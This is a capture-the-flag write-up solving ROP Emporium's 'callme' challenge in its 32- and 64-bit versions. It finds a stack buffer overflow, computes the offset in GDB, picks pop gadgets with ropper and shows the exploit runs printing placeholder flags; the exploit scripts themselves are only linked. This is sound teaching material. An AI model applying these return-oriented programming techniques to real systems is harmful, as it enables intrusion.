Binary Exploitation
Source: ROP Emporium
Name: Callme (x86 & x64)
Description: You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
Basic File Checks
βββ(markγΏhaxor)-[~/β¦/Challs/RopEmperium/callme/32bits]
ββ$ file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ca5cba17bcd8926f0cda98986ef619c55023b6d, not stripped
βββ(markγΏhaxor)-[~/β¦/Challs/RopEmperium/callme/32bits]
ββ$ checksec --file=callme32
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH RW-RUNPATH 75 Symbols No 0 3 callme32
Weβre working with a x86 binary and the protections enabled is just NX
Iβll run the binary to get an overview of what it does
ββ$ ./callme
callme by ROP Emporium
x86
Hope you read the instructions...
> lol
Thank you!
Exiting
So it prints out some words then asks for input then exits after we give it input
Decompiling using ghidra iβll read the main function
undefined8 main(void)
{
setvbuf(stdout,(char *)0x0,2,0);
puts("callme by ROP Emporium");
puts("x86\n");
pwnme();
puts("\nExiting");
return 0;
}
So the main function calls the pwnme() function
Hereβs the decompiled pwnme function
void pwnme(void)
{
undefined input [32];
memset(input,0,0x20);
puts("Hope you read the instructions...\n");
printf("> ");
read(0,input,0x200);
puts("Thank you!");
return;
}
So reading the code we get the vulnerability that is in it, it reads 0x200 bytes of data into a 32 bytes input buffer
With this we have extra bytes which will cause an overflow
Looking through the code i get another function called usefulFunction
void usefulFunction(void)
{
callme_three(4,5,6);
callme_two(4,5,6);
callme_one(4,5,6);
/* WARNING: Subroutine does not return */
exit(1);
}
So it calls the callme_*
function
Now from the description we know that out goal is to
1. Overwrite the return address to call the callme functions
2. Pass in the valid arguments when the function is called
Time to get the offset
Iβll get the offset the way i did it in Ret2Win
ββ$ gdb -q callme32
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from callme32...
(No debugging symbols found in callme32)
gefβ€ disass pwnme
Dump of assembler code for function pwnme:
0x080486ed <+0>: push ebp
0x080486ee <+1>: mov ebp,esp
0x080486f0 <+3>: sub esp,0x28
0x080486f3 <+6>: sub esp,0x4
0x080486f6 <+9>: push 0x20
0x080486f8 <+11>: push 0x0
0x080486fa <+13>: lea eax,[ebp-0x28]
0x080486fd <+16>: push eax
0x080486fe <+17>: call 0x8048540 <memset@plt>
0x08048703 <+22>: add esp,0x10
0x08048706 <+25>: sub esp,0xc
0x08048709 <+28>: push 0x8048848
0x0804870e <+33>: call 0x8048500 <puts@plt>
0x08048713 <+38>: add esp,0x10
0x08048716 <+41>: sub esp,0xc
0x08048719 <+44>: push 0x804886b
0x0804871e <+49>: call 0x80484d0 <printf@plt>
0x08048723 <+54>: add esp,0x10
0x08048726 <+57>: sub esp,0x4
0x08048729 <+60>: push 0x200
0x0804872e <+65>: lea eax,[ebp-0x28]
0x08048731 <+68>: push eax
0x08048732 <+69>: push 0x0
0x08048734 <+71>: call 0x80484c0 <read@plt>
0x08048739 <+76>: add esp,0x10
0x0804873c <+79>: sub esp,0xc
0x0804873f <+82>: push 0x804886e
0x08048744 <+87>: call 0x8048500 <puts@plt>
0x08048749 <+92>: add esp,0x10
0x0804874c <+95>: nop
0x0804874d <+96>: leave
0x0804874e <+97>: ret
End of assembler dump.
gefβ€ b *pwnme+96
Breakpoint 1 at 0x804874d
gefβ€ r
Starting program: /home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/32bits/callme32
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0xf7fc7000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
callme by ROP Emporium
x86
Hope you read the instructions...
> pwnerhacker
Thank you!
Breakpoint 1, 0x0804874d in pwnme ()
[ Legend: Modified register | Code | Heap | Stack | String ]
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ
$eax : 0xb
$ebx : 0xf7e1cff4 β 0x0021cd8c
$ecx : 0xf7e1e9b8 β 0x00000000
$edx : 0x1
$esp : 0xffffcff0 β "pwnerhacker\n"
$ebp : 0xffffd018 β 0xffffd028 β 0x00000000
$esi : 0x80487a0 β <__libc_csu_init+0> push ebp
$edi : 0xf7ffcb80 β 0x00000000
$eip : 0x804874d β <pwnme+96> leave
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ
0xffffcff0β+0x0000: "pwnerhacker\n" β $esp
0xffffcff4β+0x0004: "rhacker\n"
0xffffcff8β+0x0008: "ker\n"
0xffffcffcβ+0x000c: 0x00000000
0xffffd000β+0x0010: 0x00000000
0xffffd004β+0x0014: 0x00000000
0xffffd008β+0x0018: 0x00000000
0xffffd00cβ+0x001c: 0x00000000
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:32 ββββ
0x8048744 <pwnme+87> call 0x8048500 <puts@plt>
0x8048749 <pwnme+92> add esp, 0x10
0x804874c <pwnme+95> nop
β 0x804874d <pwnme+96> leave
0x804874e <pwnme+97> ret
0x804874f <usefulFunction+0> push ebp
0x8048750 <usefulFunction+1> mov ebp, esp
0x8048752 <usefulFunction+3> sub esp, 0x8
0x8048755 <usefulFunction+6> sub esp, 0x4
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ
[#0] Id 1, Name: "callme32", stopped 0x804874d in pwnme (), reason: BREAKPOINT
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ
[#0] 0x804874d β pwnme()
[#1] 0x80486d0 β main()
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
gefβ€ search-pattern pwnerhacker
[+] Searching 'pwnerhacker' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw-
0xffffcff0 - 0xffffcffd β "pwnerhacker\n"
gefβ€ i f
Stack level 0, frame at 0xffffd020:
eip = 0x804874d in pwnme; saved eip = 0x80486d0
called by frame at 0xffffd040
Arglist at 0xffffd018, args:
Locals at 0xffffd018, Previous frame's sp is 0xffffd020
Saved registers:
ebp at 0xffffd018, eip at 0xffffd01c
gefβ€
So doing the math we get the offset 0xffffd01c - 0xffffcff0 = 0x2c
Cool with that hereβs what iβll do
Since we have 3 functions which requires 3 arguments i canβt just pass them to the stack cause it will overwrite some values of the stack
Hereβs the way argument are passed onto the stack
x86 elf architecture, arguments are passed onto the stack
x86 elf architecture, arguments are passed onto the stack
+-----------------+---------------+---------------+------------+
| 8 Byte Register | Lower 4 Bytes | Lower 2 Bytes | Lower Byte |
+-----------------+---------------+---------------+------------+
| rbp | ebp | bp | bpl |
| rsp | esp | sp | spl |
| rip | eip | | |
| rax | eax | ax | al |
| rbx | ebx | bx | bl |
| rcx | ecx | cx | cl |
| rdx | edx | dx | dl |
| rsi | esi | si | sil |
| rdi | edi | di | dil |
| r8 | r8d | r8w | r8b |
| r9 | r9d | r9w | r9b |
| r10 | r10d | r10w | r10b |
| r11 | r11d | r11w | r11b |
| r12 | r12d | r12w | r12b |
| r13 | r13d | r13w | r13b |
| r14 | r14d | r14w | r14b |
| r15 | r15d | r15w | r15b |
+-----------------+---------------+---------------+------------+
So basically since weβre passing in 3 arguments, the registers needed should pop 3 values off the stack
I can get that with ropper
βββ(markγΏhaxor)-[~/β¦/Challs/RopEmperium/callme/32bits]
ββ$ ropper --file callme32 --search "pop"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop
[INFO] File: callme32
0x080487fb: pop ebp; ret;
0x080487f8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080484ad: pop ebx; ret;
0x080487fa: pop edi; pop ebp; ret;
0x080487f9: pop esi; pop edi; pop ebp; ret;
0x08048810: pop ss; add byte ptr [eax], al; add esp, 8; pop ebx; ret;
0x080486ea: popal; cld; ret;
Seems 0x080487f9: pop esi; pop edi; pop ebp; ret;
will work
Iβll get the corresponding callme addresses using gdb
ββ$ gdb -q callme32
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.11
Reading symbols from callme32...
(No debugging symbols found in callme32)
gefβ€ disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0804874f <+0>: push ebp
0x08048750 <+1>: mov ebp,esp
0x08048752 <+3>: sub esp,0x8
0x08048755 <+6>: sub esp,0x4
0x08048758 <+9>: push 0x6
0x0804875a <+11>: push 0x5
0x0804875c <+13>: push 0x4
0x0804875e <+15>: call 0x80484e0 <callme_three@plt>
0x08048763 <+20>: add esp,0x10
0x08048766 <+23>: sub esp,0x4
0x08048769 <+26>: push 0x6
0x0804876b <+28>: push 0x5
0x0804876d <+30>: push 0x4
0x0804876f <+32>: call 0x8048550 <callme_two@plt>
0x08048774 <+37>: add esp,0x10
0x08048777 <+40>: sub esp,0x4
0x0804877a <+43>: push 0x6
0x0804877c <+45>: push 0x5
0x0804877e <+47>: push 0x4
0x08048780 <+49>: call 0x80484f0 <callme_one@plt>
0x08048785 <+54>: add esp,0x10
0x08048788 <+57>: sub esp,0xc
0x0804878b <+60>: push 0x1
0x0804878d <+62>: call 0x8048510 <exit@plt>
End of assembler dump.
gefβ€
Hereβs the exploit script Exploit
On running it
βββ(markγΏhaxor)-[~/β¦/Challs/RopEmperium/callme/32bits]
ββ$ python exploit.py
[+] Starting local process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/32bits/callme32': pid 203683
[*] Switching to interactive mode
[*] Process 'callme32' stopped with exit code 0 (pid 203683)
Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
Hereβs the autopwn script using ROP Autopwn
It automates the stress ππ but its cool π
On running it we get the flag
βββ(markγΏhaxor)-[~/β¦/Challs/RopEmperium/callme/32bits]
ββ$ python3 autopwn.py
[+] Starting local process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/32bits/callme32': pid 208792
[*] Loaded 10 cached gadgets for './callme32'
[+] callme_one() called correctly
[+] callme_two() called correctly
[+] ROPE{a_placeholder_32byte_flag!}
[*] Process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/32bits/callme32' stopped with exit code 0 (pid 208792)
So for the x64 binary the approach is similar but this time we need to pass in the argument in the correct register
ββ$ ropper --file callme --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: callme
0x000000000040093c: pop rdi; pop rsi; pop rdx; ret;
0x00000000004009a3: pop rdi; ret;
The first one will work fine
Hereβs the exploit script Exploit
On running it
ββ$ python exploit.py
[+] Starting local process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/64bits/callme': pid 217944
[+] callme_one() called correctly
[+] callme_two() called correctly
[+] ROPE{a_placeholder_64byte_flag!}
[*] Process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/64bits/callme' stopped with exit code 0 (pid 217944)
it worked. Hereβs the autopwn script Autopwn
Running it works also
ββ$ python autopwn.py
[+] Starting local process '/home/mark/Desktop/BofLearn/Challs/RopEmperium/callme/64bits/callme': pid 220794
[*] Loaded 17 cached gadgets for './callme'
[+] callme_one() called correctly
[*] callme_two() called correctly
[*] ROPE{a_placeholder_64byte_flag!}
And weβre done